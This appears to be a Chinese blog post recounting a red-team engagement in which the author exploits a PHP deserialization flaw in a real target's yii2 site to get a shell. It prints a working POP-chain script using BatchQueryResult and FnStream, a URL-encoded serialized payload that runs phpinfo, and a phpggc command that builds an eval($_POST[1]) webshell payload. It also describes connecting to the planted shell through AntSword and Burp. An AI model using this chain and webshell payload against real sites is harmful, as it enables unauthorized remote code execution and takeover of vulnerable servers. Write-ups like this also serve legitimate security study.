记一次yii2实战反序列化过程
前言:yii2实战反序列化过程getshell的笔记,记录和分享下,同时也感谢小贺哥的分享
过程
hw期间碰到的,目标某厂商的源码二次开发的yii2的站点,如下图所示

发现某POST接口存在一个反序列化的点,其还需要接收一个POST的参数
https://xxxxxxx/web/index.php?r=接口&参数=6
因为尝试的时候发现了该站点yii2版本是<2.0.38的,因为发现通过BatchQueryResult的POP链可以直接进行利用,利用链代码如下所示
<?php
namespace GuzzleHttp\Psr7 {
class FnStream {
var $_fn_close = "phpinfo";
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new FnStream();
}
}
$b = new BatchQueryResult();
echo urlencode(serialize($b));
}
POC如下:
O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A1%3A%7Bs%3A9%3A%22_fn_close%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D

是可以成功执行phpinfo的,但是会发现这个POP链条是通过call_user_func来进行执行的,所以需要传递相关的命令函数和执行命令的参数,但是如下call_user_func这种调用情况是不满足的
所以这里的话要么需要通过别的pop链来进行利用或者是在这个调用的基础上去寻找其他的调用链

这里通过phpggc中的yii2的利用链条来进行生成 https://github.com/ambionics/phpggc/blob/master/gadgetchains/Yii2/RCE/2/gadgets.php
生成命令为:./phpggc Yii2/RCE2 eval\(\$\_POST[1]\) | tr -d '\n' | xxd -plain | sed 's/\(..\)/%\1/g'

连接期间还有些bug,因为发送url编码的数据在蚁剑中会再次被进行url编码,所以我自己是通过burp进行替换来进行解决的,最终连接如下效果


浙公网安备 33010602011771号